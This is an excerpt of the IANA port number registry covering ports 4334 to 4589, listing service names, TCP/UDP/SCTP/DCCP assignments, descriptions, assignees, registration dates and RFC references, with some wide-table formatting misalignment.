netconf-ch-ssh     4334        tcp    NETCONF Call Home (SSH)      [IESG]                                                [IETF_Chair]                                              2016-01-12                [RFC8071]
                   4334        udp    Reserved
netconf-ch-tls     4335        tcp    NETCONF Call Home (TLS)      [IESG]                                                [IETF_Chair]                                              2016-01-12                [RFC8071]
                   4335        udp    Reserved
restconf-ch-tls    4336        tcp    RESTCONF Call Home (TLS)     [IESG]                                                [IETF_Chair]                                              2016-01-12                [RFC8071]
                   4336        udp    Reserved
                 4337-4339            Unassigned
gaia               4340        tcp    Gaia Connector Protocol      [Philippe_Detournay]                                  [Philippe_Detournay]                                      2007-11-12
gaia               4340        udp    Gaia Connector Protocol      [Philippe_Detournay]                                  [Philippe_Detournay]                                      2007-11-12
                   4341        tcp    Reserved                                                                                                                                     2007-11-12   2018-11-30
lisp-data          4341        udp    LISP Data Packets            [IESG]                                                [IETF_Chair]                                              2007-11-12   2012-04-26   [RFC6830]
                   4342        tcp    Reserved                                                                                                                                                  2018-11-30
lisp-control       4342        udp    LISP Control Packets         [IESG]                                                [IETF_Chair]                                              2007-05      2012-04-26   [RFC6830]
unicall            4343        tcp    UNICALL                      [James_Powell_2]                                      [James_Powell_2]
unicall            4343        udp    UNICALL                      [James_Powell_2]                                      [James_Powell_2]
vinainstall        4344        tcp    VinaInstall                  [Jay_Slupesky]                                        [Jay_Slupesky]
vinainstall        4344        udp    VinaInstall                  [Jay_Slupesky]                                        [Jay_Slupesky]
m4-network-as      4345        tcp    Macro 4 Network AS           [Paul_Wren]                                           [Paul_Wren]
m4-network-as      4345        udp    Macro 4 Network AS           [Paul_Wren]                                           [Paul_Wren]
elanlm             4346        tcp    ELAN LM                      [Paul_Ballew]                                         [Paul_Ballew]
elanlm             4346        udp    ELAN LM                      [Paul_Ballew]                                         [Paul_Ballew]
lansurveyor        4347        tcp    LAN Surveyor                 [Michael_Swan]                                        [Michael_Swan]
lansurveyor        4347        udp    LAN Surveyor                 [Michael_Swan]                                        [Michael_Swan]
itose              4348        tcp    ITOSE                        [Michael_Haeuptle]                                    [Michael_Haeuptle]
itose              4348        udp    ITOSE                        [Michael_Haeuptle]                                    [Michael_Haeuptle]
fsportmap          4349        tcp    File System Port Map         [Ron_Minnich_2]                                       [Ron_Minnich_2]
fsportmap          4349        udp    File System Port Map         [Ron_Minnich_2]                                       [Ron_Minnich_2]
net-device         4350        tcp    Net Device                   [Glenn_Peterson]                                      [Glenn_Peterson]
net-device         4350        udp    Net Device                   [Glenn_Peterson]                                      [Glenn_Peterson]
plcy-net-svcs      4351        tcp    PLCY Net Services            [J_J_Ekstrom]                                         [J_J_Ekstrom]
plcy-net-svcs      4351        udp    PLCY Net Services            [J_J_Ekstrom]                                         [J_J_Ekstrom]
pjlink             4352        tcp    Projector Link               [Mitsuo_Kodama]                                       [Mitsuo_Kodama]                                           2005-06
pjlink             4352        udp    Projector Link               [Mitsuo_Kodama]                                       [Mitsuo_Kodama]                                           2005-06
f5-iquery          4353        tcp    F5 iQuery                    [Tom_Kee]                                             [Tom_Kee]
f5-iquery          4353        udp    F5 iQuery                    [Tom_Kee]                                             [Tom_Kee]
qsnet-trans        4354        tcp    QSNet Transmitter
qsnet-trans        4354        udp    QSNet Transmitter
qsnet-workst       4355        tcp    QSNet Workstation
qsnet-workst       4355        udp    QSNet Workstation
qsnet-assist       4356        tcp    QSNet Assistant
qsnet-assist       4356        udp    QSNet Assistant
qsnet-cond         4357        tcp    QSNet Conductor
qsnet-cond         4357        udp    QSNet Conductor
qsnet-nucl         4358        tcp    QSNet Nucleus                [Neer_Kleinman]                                       [Neer_Kleinman]
qsnet-nucl         4358        udp    QSNet Nucleus                [Neer_Kleinman]                                       [Neer_Kleinman]
omabcastltkm       4359        tcp    OMA BCAST Long-Term Key      [Frank_Hartung]                                       [Frank_Hartung]                                           2007-09-07
                                      Messages
omabcastltkm       4359        udp    OMA BCAST Long-Term Key      [Frank_Hartung]                                       [Frank_Hartung]                                           2007-09-07
                                      Messages
                                      Matrix VNet Communication
                                      Protocol

matrix-vnet        4360        tcp    IANA assigned this           [Rehan_Mahmood]                                       [Rehan_Mahmood]                                           2009-03-18
                                      well-formed service name as
                                      a replacement for
                                      "matrix_vnet".
                                      Matrix VNet Communication                                                                                                                                                                                                                   This entry is an alias to "matrix-vnet". This entry is now
matrix_vnet        4360        tcp    Protocol                     [Rehan_Mahmood]                                       [Rehan_Mahmood]                                           2009-03-18                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                   4360        udp    Reserved
                   4361        tcp    Reserved
nacnl              4361        udp    NavCom Discovery and Control [Yilei_Jia]                                           [Yilei_Jia]                                               2009-03-18
                                      Port
                   4362        tcp    Reserved
afore-vdp-disc     4362        udp    AFORE vNode Discovery        [Michael_Richardson]                                  [Michael_Richardson]                                      2011-02-08
                                      protocol
                 4363-4365            Unassigned
shadowstream       4366        udp    ShadowStream System          [StorageCraft_Technology_Corporation]                 [David_McConkie]                                          2014-12-17
                   4366        tcp    Reserved
                   4367               Unassigned
wxbrief            4368        tcp    WeatherBrief Direct          [Kim_Alan_Waggoner]                                   [Kim_Alan_Waggoner]                                       2006-11
wxbrief            4368        udp    WeatherBrief Direct          [Kim_Alan_Waggoner]                                   [Kim_Alan_Waggoner]                                       2006-11
epmd               4369        tcp    Erlang Port Mapper Daemon    [Erlang]                                              [Erlang]
epmd               4369        udp    Erlang Port Mapper Daemon    [Erlang]                                              [Erlang]
                                      ELPRO V2 Protocol Tunnel

elpro-tunnel       4370        tcp    IANA assigned this           [Harry_Courtice]                                      [Harry_Courtice]                                          2008-04-14
                                      well-formed service name as
                                      a replacement for
                                      "elpro_tunnel".
                                                                                                                                                                                                                                                                                  This entry is an alias to "elpro-tunnel". This entry is now
elpro_tunnel       4370        tcp    ELPRO V2 Protocol Tunnel     [Harry_Courtice]                                      [Harry_Courtice]                                          2008-04-14                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      ELPRO V2 Protocol Tunnel

elpro-tunnel       4370        udp    IANA assigned this           [Harry_Courtice]                                      [Harry_Courtice]                                          2008-04-14
                                      well-formed service name as
                                      a replacement for
                                      "elpro_tunnel".
                                                                                                                                                                                                                                                                                  This entry is an alias to "elpro-tunnel". This entry is now
elpro_tunnel       4370        udp    ELPRO V2 Protocol Tunnel     [Harry_Courtice]                                      [Harry_Courtice]                                          2008-04-14                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
l2c-control        4371        tcp    LAN2CAN Control              [Phil_Tolson]                                         [Phil_Tolson]                                             2008-07-07                                                                                     Modified: 21 January 2010
l2c-disc           4371        udp    LAN2CAN Discovery            [Phil_Tolson]                                         [Phil_Tolson]                                             2010-01-21
l2c-data           4372        tcp    LAN2CAN Data                 [Phil_Tolson]                                         [Phil_Tolson]                                             2008-07-07                                                                                     Modified: 21 January 2010
l2c-data           4372        udp    LAN2CAN Data                 [Phil_Tolson]                                         [Phil_Tolson]                                             2010-01-21
remctl             4373        tcp    Remote Authenticated Command [Russ_Allbery]                                        [Russ_Allbery]                                            2007-08-30
                                      Service
remctl             4373        udp    Remote Authenticated Command [Russ_Allbery]                                        [Russ_Allbery]                                            2007-08-30
                                      Service
psi-ptt            4374        tcp    PSI Push-to-Talk Protocol    [Frank_B]                                             [Frank_B]                                                 2008-07-17
                   4374        udp    Reserved
tolteces           4375        tcp    Toltec EasyShare             [Joon_Radley_2]                                       [Joon_Radley_2]                                           2008-10-21
tolteces           4375        udp    Toltec EasyShare             [Joon_Radley_2]                                       [Joon_Radley_2]                                           2008-10-21
bip                4376        tcp    BioAPI Interworking          [Jean_Paul_Lemaire]                                   [Jean_Paul_Lemaire]                                       2007-07-05
bip                4376        udp    BioAPI Interworking          [Jean_Paul_Lemaire]                                   [Jean_Paul_Lemaire]                                       2007-07-05
cp-spxsvr          4377        tcp    Cambridge Pixel SPx Server
cp-spxsvr          4377        udp    Cambridge Pixel SPx Server
cp-spxdpy          4378        tcp    Cambridge Pixel SPx Display  [Richard_Warren]                                      [Richard_Warren]                                          2007-07-05
cp-spxdpy          4378        udp    Cambridge Pixel SPx Display  [Richard_Warren]                                      [Richard_Warren]                                          2007-07-05
ctdb               4379        tcp    CTDB                         [Ronnie_Sahlberg]                                     [Ronnie_Sahlberg]                                         2007-07-05
ctdb               4379        udp    CTDB                         [Ronnie_Sahlberg]                                     [Ronnie_Sahlberg]                                         2007-07-05
                 4380-4388            Unassigned
xandros-cms        4389        tcp    Xandros Community Management [Stephen_M_Webb]                                      [Stephen_M_Webb]                                          2007-05
                                      Service
xandros-cms        4389        udp    Xandros Community Management [Stephen_M_Webb]                                      [Stephen_M_Webb]                                          2007-05
                                      Service
wiegand            4390        tcp    Physical Access Control      [Scott_Guthery_2]                                     [Scott_Guthery_2]                                         2008-08-25
wiegand            4390        udp    Physical Access Control      [Scott_Guthery_2]                                     [Scott_Guthery_2]                                         2008-08-25
apwi-imserver      4391        tcp    American Printware IMServer  [Lech_Lakomy]                                         [Lech_Lakomy]                                             2009-02-12
                                      Protocol
                   4391        udp    Reserved
apwi-rxserver      4392        tcp    American Printware RXServer  [Lech_Lakomy]                                         [Lech_Lakomy]                                             2009-02-12
                                      Protocol
                   4392        udp    Reserved
apwi-rxspooler     4393        tcp    American Printware RXSpooler [Lech_Lakomy]                                         [Lech_Lakomy]                                             2009-02-12
                                      Protocol
                   4393        udp    Reserved
                   4394        tcp    Reserved
apwi-disc          4394        udp    American Printware Discovery [Lech_Lakomy]                                         [Lech_Lakomy]                                             2009-02-12
omnivisionesx      4395        tcp    OmniVision communication for [Vacquier_Serge]                                      [Vacquier_Serge]                                          2009-02-12
                                      Virtual environments
omnivisionesx      4395        udp    OmniVision communication for [Vacquier_Serge]                                      [Vacquier_Serge]                                          2009-02-12
                                      Virtual environments
fly                4396        tcp    Fly Object Space             [Nigel_Warren]                                        [Nigel_Warren]                                            2009-02-12
                   4396        udp    Reserved
                 4397-4399            Unassigned
ds-srv             4400        tcp    ASIGRA Services              [David_Farajun]                                       [David_Farajun]                                           2004-11
ds-srv             4400        udp    ASIGRA Services              [David_Farajun]                                       [David_Farajun]                                           2004-11
ds-srvr            4401        tcp    ASIGRA Televaulting
                                      DS-System Service
ds-srvr            4401        udp    ASIGRA Televaulting
                                      DS-System Service
ds-clnt            4402        tcp    ASIGRA Televaulting
                                      DS-Client Service
ds-clnt            4402        udp    ASIGRA Televaulting
                                      DS-Client Service
                                      ASIGRA Televaulting
ds-user            4403        tcp    DS-Client
                                      Monitoring/Management
                                      ASIGRA Televaulting
ds-user            4403        udp    DS-Client
                                      Monitoring/Management
                                      ASIGRA Televaulting
ds-admin           4404        tcp    DS-System
                                      Monitoring/Management
                                      ASIGRA Televaulting
ds-admin           4404        udp    DS-System
                                      Monitoring/Management
ds-mail            4405        tcp    ASIGRA Televaulting Message
                                      Level Restore service
ds-mail            4405        udp    ASIGRA Televaulting Message
                                      Level Restore service
ds-slp             4406        tcp    ASIGRA Televaulting          [Andrei_Litvinn]                                      [Andrei_Litvinn]                                          2005-01
                                      DS-Sleeper Service
ds-slp             4406        udp    ASIGRA Televaulting          [Andrei_Litvinn]                                      [Andrei_Litvinn]                                          2005-01
                                      DS-Sleeper Service
nacagent           4407        tcp    Network Access Control Agent [ITGroup]                                             [ITGroup]                                                 2008-06-30
                   4407        udp    Reserved
slscc              4408        tcp    SLS Technology Control       [Steven_Sweeting]                                     [Steven_Sweeting]                                         2008-01-28
                                      Centre
                   4408        udp    Reserved
netcabinet-com     4409        tcp    Net-Cabinet comunication     [Ian_Manning_2]                                       [Ian_Manning_2]                                           2009-12-16
                   4409        udp    Reserved
itwo-server        4410        tcp    RIB iTWO Application Server  [Kristean_Heisler_2]                                  [Kristean_Heisler_2]                                      2009-12-16
                   4410        udp    Reserved
found              4411        tcp    Found Messaging Protocol     [Found_Software]                                      [John_Mitchell]                                           2012-04-11                                                                                     Defined TXT keys: id, key
                   4411        udp    Reserved
                   4412        tcp    Reserved
smallchat          4412        udp    SmallChat                    [Valentino_Giudice]                                   [Valentino_Giudice]                                       2015-08-18
avi-nms            4413        tcp    AVI Systems NMS              [AVI_Systems]                                         [Dave_Hatz]                                               2015-09-18
avi-nms-disc       4413        udp    AVI Systems NMS              [AVI_Systems]                                         [Dave_Hatz]                                               2015-09-18
updog              4414        tcp    Updog Monitoring and Status  [Egon_Technologies_LLC]                               [James_Downs]                                             2015-10-05
                                      Framework
                   4414        udp    Reserved
brcd-vr-req        4415        tcp    Brocade Virtual Router       [Brocade_Communications_Systems]                      [Nick_Carter]                                             2015-11-17
                                      Request
                   4415        udp    Reserved
pjj-player         4416        tcp    PJJ Media Player             [PJJ_Productions_Inc]                                 [Bruno_Frechette]                                         2015-11-18
pjj-player-disc    4416        udp    PJJ Media Player discovery   [PJJ_Productions_Inc]                                 [Bruno_Frechette]                                         2015-11-18
workflowdir        4417        tcp    Workflow Director            [WfDir]                                               [Brian_Doyle]                                             2015-12-11
                                      Communication
                   4417        udp    Reserved
                   4418        tcp    Reserved
axysbridge         4418        udp    AXYS communication protocol  [Duran_Audio_B.V.]                                    [Gerald_van_Beuningen]                                    2016-03-14
cbp                4419        tcp    Colnod Binary Protocol       [Colsys_s.r.o.]                                       [Jiri_Merth]                                              2016-03-23
                   4419        udp    Reserved
nvme               4420        tcp    NVM Express over Fabrics     [NVM_Express_Inc]                                     [Amber_Huffman]                                           2016-03-31   2018-03-27
                                      storage access
nvme               4420        udp    NVM Express over Fabrics     [NVM_Express_Inc]                                     [Amber_Huffman]                                           2016-03-31   2018-03-27
                                      storage access
                                      Multi-Platform Remote
scaleft            4421        tcp    Management for Cloud         [ScaleFT_Inc]                                         [Paul_Querna]                                             2016-04-07
                                      Infrastructure
                   4421        udp    Reserved
tsepisp            4422        tcp    TSEP Installation Service    [Technical_Software_Engineering_Plazotta]             [Peter_Plazotta]                                          2016-06-22
                                      Protocol
                   4422        udp    Reserved
thingkit           4423        tcp    thingkit secure mesh         [thingkit_inc.]                                       [Chris_Bell]                                              2016-06-27
                   4423        udp    Reserved
                   4424               Unassigned
netrockey6         4425        tcp    NetROCKEY6 SMART Plus        [Feitian_Technologies]                                [Feitian_Technologies]                                    2010-09-15
                                      Service
netrockey6         4425        udp    NetROCKEY6 SMART Plus        [Feitian_Technologies]                                [Feitian_Technologies]                                    2010-09-15
                                      Service
beacon-port-2      4426        tcp    SMARTS Beacon Port           [Eyal_Yardeni]                                        [Eyal_Yardeni]                                            2003-11
beacon-port-2      4426        udp    SMARTS Beacon Port           [Eyal_Yardeni]                                        [Eyal_Yardeni]                                            2003-11
drizzle            4427        tcp    Drizzle database server      [Elliot_Murphy]                                       [Elliot_Murphy]                                           2008-07-09
                   4427        udp    Reserved
omviserver         4428        tcp    OMV-Investigation            [Serge_Vacquier]                                      [Serge_Vacquier]                                          2009-05-20
                                      Server-Client
                   4428        udp    Reserved
omviagent          4429        tcp    OMV Investigation            [Serge_Vacquier]                                      [Serge_Vacquier]                                          2009-05-20
                                      Agent-Server
                   4429        udp    Reserved
rsqlserver         4430        tcp    REAL SQL Server              [Marco_Bambini]                                       [Marco_Bambini]                                           2008-08-28
rsqlserver         4430        udp    REAL SQL Server              [Marco_Bambini]                                       [Marco_Bambini]                                           2008-08-28
wspipe             4431        tcp    adWISE Pipe                  [Heikki_E]                                            [Heikki_E]                                                2009-06-18
                   4431        udp    Reserved
l-acoustics        4432        tcp    L-ACOUSTICS management       [L-ACOUSTICS]                                         [Christophe_Pignon]                                       2012-08-13
l-acoustics        4432        udp    L-ACOUSTICS management       [L-ACOUSTICS]                                         [Christophe_Pignon]                                       2012-08-13
vop                4433        tcp    Versile Object Protocol      [Versile_AS]                                          [Tore_Skaug]                                              2012-02-01
                   4433        udp    Reserved
                 4434-4440            Unassigned
                   4441        tcp    Reserved
netblox            4441        udp    Netblox Protocol             [Brian_S_Locke]                                       [Brian_S_Locke]                                           2008-07-10
saris              4442        tcp    Saris
saris              4442        udp    Saris
                                                                                                                                                                                                                                                                     Known
pharos             4443        tcp    Pharos                       [TeleConsult]                                         [TeleConsult]                                                                                                                               Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     4443
                                                                                                                                                                                                                                                                     Known
pharos             4443        udp    Pharos                       [TeleConsult]                                         [TeleConsult]                                                                                                                               Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     4443
                                                                                                                                                                                                                                                                     krb524
                                                                                                                                                                                                                                                                     assigned the
krb524             4444        tcp    KRB524                       [B_Clifford_Neuman]                                   [B_Clifford_Neuman]                                                                                                                         port, nv
                                                                                                                                                                                                                                                                     used it
                                                                                                                                                                                                                                                                     without an
                                                                                                                                                                                                                                                                     assignment
                                                                                                                                                                                                                                                                     krb524
                                                                                                                                                                                                                                                                     assigned the
krb524             4444        udp    KRB524                       [B_Clifford_Neuman]                                   [B_Clifford_Neuman]                                                                                                                         port, nv
                                                                                                                                                                                                                                                                     used it
                                                                                                                                                                                                                                                                     without an
                                                                                                                                                                                                                                                                     assignment
                                                                                                                                                                                                                                                                     krb524
                                                                                                                                                                                                                                                                     assigned the
nv-video           4444        tcp    NV Video default             [Ron_Frederick]                                       [Ron_Frederick]                                                                                                                             port, nv
                                                                                                                                                                                                                                                                     used it
                                                                                                                                                                                                                                                                     without an
                                                                                                                                                                                                                                                                     assignment
                                                                                                                                                                                                                                                                     krb524
                                                                                                                                                                                                                                                                     assigned the
nv-video           4444        udp    NV Video default             [Ron_Frederick]                                       [Ron_Frederick]                                                                                                                             port, nv
                                                                                                                                                                                                                                                                     used it
                                                                                                                                                                                                                                                                     without an
                                                                                                                                                                                                                                                                     assignment
upnotifyp          4445        tcp    UPNOTIFYP                    [Mark_Fox]                                            [Mark_Fox]
upnotifyp          4445        udp    UPNOTIFYP                    [Mark_Fox]                                            [Mark_Fox]
n1-fwp             4446        tcp    N1-FWP
n1-fwp             4446        udp    N1-FWP
n1-rmgmt           4447        tcp    N1-RMGMT                     [Lori_Tassin]                                         [Lori_Tassin]
n1-rmgmt           4447        udp    N1-RMGMT                     [Lori_Tassin]                                         [Lori_Tassin]
asc-slmd           4448        tcp    ASC Licence Manager          [Casper_Stoel]                                        [Casper_Stoel]
asc-slmd           4448        udp    ASC Licence Manager          [Casper_Stoel]                                        [Casper_Stoel]
privatewire        4449        tcp    PrivateWire                  [Uri_Resnitzky]                                       [Uri_Resnitzky]
privatewire        4449        udp    PrivateWire                  [Uri_Resnitzky]                                       [Uri_Resnitzky]
camp               4450        tcp    Common ASCII Messaging       [Control_Technology_Inc]                              [Clint_Eskew]                                                          2011-10-28
                                      Protocol
camp               4450        udp    Common ASCII Messaging       [Control_Technology_Inc]                              [Clint_Eskew]                                                          2011-10-28
                                      Protocol
ctisystemmsg       4451        tcp    CTI System Msg               [Control_Technology_Inc]                              [Clint_Eskew]                                                          2011-10-28
ctisystemmsg       4451        udp    CTI System Msg               [Control_Technology_Inc]                              [Clint_Eskew]                                                          2011-10-28
ctiprogramload     4452        tcp    CTI Program Load             [Control_Technology_Inc]                              [Clint_Eskew]                                                          2011-10-28
ctiprogramload     4452        udp    CTI Program Load             [Control_Technology_Inc]                              [Clint_Eskew]                                                          2011-10-28
nssalertmgr        4453        tcp    NSS Alert Manager
nssalertmgr        4453        udp    NSS Alert Manager
nssagentmgr        4454        tcp    NSS Agent Manager            [Jim_Hill]                                            [Jim_Hill]
nssagentmgr        4454        udp    NSS Agent Manager            [Jim_Hill]                                            [Jim_Hill]
prchat-user        4455        tcp    PR Chat User
prchat-user        4455        udp    PR Chat User
prchat-server      4456        tcp    PR Chat Server
prchat-server      4456        udp    PR Chat Server
prRegister         4457        tcp    PR Register                  [Donny_Gilor]                                         [Donny_Gilor]
prRegister         4457        udp    PR Register                  [Donny_Gilor]                                         [Donny_Gilor]
mcp                4458        tcp    Matrix Configuration         [Tim_DeBaillie]                                       [Tim_DeBaillie]                                           2006-12
                                      Protocol
mcp                4458        udp    Matrix Configuration         [Tim_DeBaillie]                                       [Tim_DeBaillie]                                           2006-12
                                      Protocol
                 4459-4483            Unassigned
hpssmgmt           4484        tcp    hpssmgmt service             [David_Straw]                                         [David_Straw]                                             2005-11
hpssmgmt           4484        udp    hpssmgmt service             [David_Straw]                                         [David_Straw]                                             2005-11
assyst-dr          4485        tcp    Assyst Data Repository       [Albert_Cester]                                       [Albert_Cester]                                           2008-08-26
                                      Service
                   4485        udp    Reserved
icms               4486        tcp    Integrated Client Message    [Resource_Allocation]                                 [Resource_Allocation]                                     2010-09-27
                                      Service
icms               4486        udp    Integrated Client Message    [Resource_Allocation]                                 [Resource_Allocation]                                     2010-09-27
                                      Service
prex-tcp           4487        tcp    Protocol for Remote          [Daniel_Ruppert]                                      [Daniel_Ruppert]                                          2010-09-16
                                      Execution over TCP
                   4487        udp    Reserved
awacs-ice          4488        tcp    Apple Wide Area Connectivity [Rory_McGuire]                                        [Rory_McGuire]                                            2010-09-24
                                      Service ICE Bootstrap
awacs-ice          4488        udp    Apple Wide Area Connectivity [Rory_McGuire]                                        [Rory_McGuire]                                            2010-09-24
                                      Service ICE Bootstrap
                                                                                                                                                                                                                                                                     Known
                                                                                                                                                                                                                                                                     UNAUTHORIZED
                 4489-4499            Unassigned                                                                                                                                                                                                                     USE: Ports
                                                                                                                                                                                                                                                                     4490 and
                                                                                                                                                                                                                                                                     4491
ipsec-nat-t        4500        tcp    IPsec NAT-Traversal                                                                                                                                       2017-06-19   [RFC8229]
ipsec-nat-t        4500        udp    IPsec NAT-Traversal                                                                                                                                       2017-07-07   [RFC3948][RFC7296]
                   4501               Unassigned                   [IANA]                                                [IANA]                                                                                                                                                   De-registered 08 June 2001
a25-fap-fgw        4502       sctp    A25 (FAP-FGW)                [ThreeGPP_2]                                          [Zhiming_Li]                                              2012-01-11
                 4503-4533            Unassigned
                   4534        tcp    Reserved
armagetronad       4534        udp    Armagetron Advanced Game     [Manuel_Moos]                                         [Yann_Kaiser]                                             2012-11-02
                                      Server
ehs                4535        tcp    Event Heap Server
ehs                4535        udp    Event Heap Server
ehs-ssl            4536        tcp    Event Heap Server SSL        [Brad_Johanson]                                       [Brad_Johanson]                                           2005-08
ehs-ssl            4536        udp    Event Heap Server SSL        [Brad_Johanson]                                       [Brad_Johanson]                                           2005-08
wssauthsvc         4537        tcp    WSS Security Service         [Mark_Tirschwell]                                     [Mark_Tirschwell]                                         2006-01
wssauthsvc         4537        udp    WSS Security Service         [Mark_Tirschwell]                                     [Mark_Tirschwell]                                         2006-01
swx-gate           4538        tcp    Software Data Exchange       [Julien_VALIENTE]                                     [Julien_VALIENTE]                                         2006-05
                                      Gateway
swx-gate           4538        udp    Software Data Exchange       [Julien_VALIENTE]                                     [Julien_VALIENTE]                                         2006-05
                                      Gateway
                 4539-4544            Unassigned
worldscores        4545        tcp    WorldScores                  [Steve_Davis]                                         [Steve_Davis]
worldscores        4545        udp    WorldScores                  [Steve_Davis]                                         [Steve_Davis]
sf-lm              4546        tcp    SF License Manager           [Thomas_Koell]                                        [Thomas_Koell]
                                      (Sentinel)
sf-lm              4546        udp    SF License Manager           [Thomas_Koell]                                        [Thomas_Koell]
                                      (Sentinel)
lanner-lm          4547        tcp    Lanner License Manager       [Les_Enstone]                                         [Les_Enstone]
lanner-lm          4547        udp    Lanner License Manager       [Les_Enstone]                                         [Les_Enstone]
synchromesh        4548        tcp    Synchromesh                  [Tom_Hawkins_2]                                       [Tom_Hawkins_2]                                           2006-02
synchromesh        4548        udp    Synchromesh                  [Tom_Hawkins_2]                                       [Tom_Hawkins_2]                                           2006-02
aegate             4549        tcp    Aegate PMR Service           [Nick_Warrington]                                     [Nick_Warrington]                                         2006-03
aegate             4549        udp    Aegate PMR Service           [Nick_Warrington]                                     [Nick_Warrington]                                         2006-03
gds-adppiw-db      4550        tcp    Perman I Interbase Server    [Leo_Lesage]                                          [Leo_Lesage]                                              2006-04
gds-adppiw-db      4550        udp    Perman I Interbase Server    [Leo_Lesage]                                          [Leo_Lesage]                                              2006-04
ieee-mih           4551        tcp    MIH Services                                                                                                                                                           [RFC5677]
ieee-mih           4551        udp    MIH Services                                                                                                                                                           [RFC5677]
menandmice-mon     4552        tcp    Men and Mice Monitoring      [Carsten_Strotmann]                                   [Carsten_Strotmann]                                       2009-05-20
menandmice-mon     4552        udp    Men and Mice Monitoring      [Carsten_Strotmann]                                   [Carsten_Strotmann]                                       2009-05-20
icshostsvc         4553        tcp    ICS host services            [Gordan_Vosicki]                                      [Gordan_Vosicki]                                          2009-09-23
                   4553        udp    Reserved
msfrs              4554        tcp    MS FRS Replication           [Kev_George]                                          [Kev_George]                                              2006-09
msfrs              4554        udp    MS FRS Replication           [Kev_George]                                          [Kev_George]                                              2006-09
rsip               4555        tcp    RSIP Port                                                                                                                                                              [RFC3103]
rsip               4555        udp    RSIP Port                                                                                                                                                              [RFC3103]
dtn-bundle         4556        tcp    DTN Bundle TCP CL Protocol   [Simon_Perreault]                                     [Simon_Perreault]                                                      2014-03-12   [RFC7242]
dtn-bundle         4556        udp    DTN Bundle UDP CL Protocol                                                                                                                   2006-11      2014-02-21   [RFC7122]
dtn-bundle         4556       dccp    DTN Bundle DCCP CL Protocol                                                                                                                  2013-11-12   2014-02-21   [RFC7122]                                    1685351985
                   4557        tcp    Reserved
mtcevrunqss        4557        udp    Marathon everRun Quorum      [David_Schwartz_2]                                    [David_Schwartz_2]                                        2009-06-18
                                      Service Server
                   4558        tcp    Reserved
mtcevrunqman       4558        udp    Marathon everRun Quorum      [David_Schwartz_2]                                    [David_Schwartz_2]                                        2009-06-18
                                      Service Manager
hylafax            4559        tcp    HylaFAX                      [Lee_Howard]                                          [Lee_Howard]                                              2002-03
hylafax            4559        udp    HylaFAX                      [Lee_Howard]                                          [Lee_Howard]                                              2002-03
                 4560-4562            Unassigned
amahi-anywhere     4563        tcp    Amahi Anywhere               [Amahi]                                               [Carlos_Puchol]                                           2014-02-27
                   4563        udp    Reserved
                 4564-4565            Unassigned
kwtc               4566        tcp    Kids Watch Time Control      [Larry_Zarou]                                         [Larry_Zarou]                                             2006-10
                                      Service
kwtc               4566        udp    Kids Watch Time Control      [Larry_Zarou]                                         [Larry_Zarou]                                             2006-10
                                      Service
tram               4567        tcp    TRAM                         [Joe_Wesley]                                          [Joe_Wesley]
tram               4567        udp    TRAM                         [Joe_Wesley]                                          [Joe_Wesley]
bmc-reporting      4568        tcp    BMC Reporting                [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-reporting      4568        udp    BMC Reporting                [Portnoy_Boxman]                                      [Portnoy_Boxman]
                                                                                                                                                                                                                                                                                  Defined TXT keys:
                                                                                                                                                                                                                                                                                  auth plaintext | md5 | rsakeys
                                                                                                                                                                                                                                                                                  userid alphanumeric, additionally '_', '+', '-'
                                                                                                                                                                                                                                                                                  secret any printable ASCII characters
                                                                                                                                                                                                                                                                                  domain any DNS domain name or IP address
                                                                                                                                                                                                                                                                                  extension alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  context alphanumeric, additionally '_', '+', '-'
iax                4569        tcp    Inter-Asterisk eXchange      [Benjamin_Kowarsch]                                   [Benjamin_Kowarsch]                                                                 [RFC5456]                                                            trunk yes | no | 0 | 1
                                                                                                                                                                                                                                                                                  welcome alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  voicemail alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  reception alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  echotest alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  ivrtest alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  All of these TXT record keys are optional, they may be
                                                                                                                                                                                                                                                                                  omitted. Further keys may be added in the future.
                                                                                                                                                                                                                                                                                  Defined TXT keys:
                                                                                                                                                                                                                                                                                  auth plaintext | md5 | rsakeys
                                                                                                                                                                                                                                                                                  userid alphanumeric, additionally '_', '+', '-'
                                                                                                                                                                                                                                                                                  secret any printable ASCII characters
                                                                                                                                                                                                                                                                                  domain any DNS domain name or IP address
                                                                                                                                                                                                                                                                                  extension alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  context alphanumeric, additionally '_', '+', '-'
iax                4569        udp    Inter-Asterisk eXchange      [Benjamin_Kowarsch]                                   [Benjamin_Kowarsch]                                                                 [RFC5456]                                                            trunk yes | no | 0 | 1
                                                                                                                                                                                                                                                                                  welcome alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  voicemail alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  reception alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  echotest alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  ivrtest alphanumeric, additionally '*', '#', '_', '+', '-'
                                                                                                                                                                                                                                                                                  All of these TXT record keys are optional, they may be
                                                                                                                                                                                                                                                                                  omitted. Further keys may be added in the future.
                                      Service to distribute and
deploymentmap      4570        tcp    update within a site         [Oracle_3]                                            [Dan_Newman]                                              2013-09-20
                                      deployment information for
                                      Oracle Communications Suite
                   4570        udp    Reserved
                 4571-4572            Unassigned
                                      A port for communication
cardifftec-back    4573        tcp    between a server and client  [CardiffTec]                                          [Benjamin_Misell]                                         2016-05-19
                                      for a custom backup system
                   4573        udp    Reserved
                 4574-4589            Unassigned
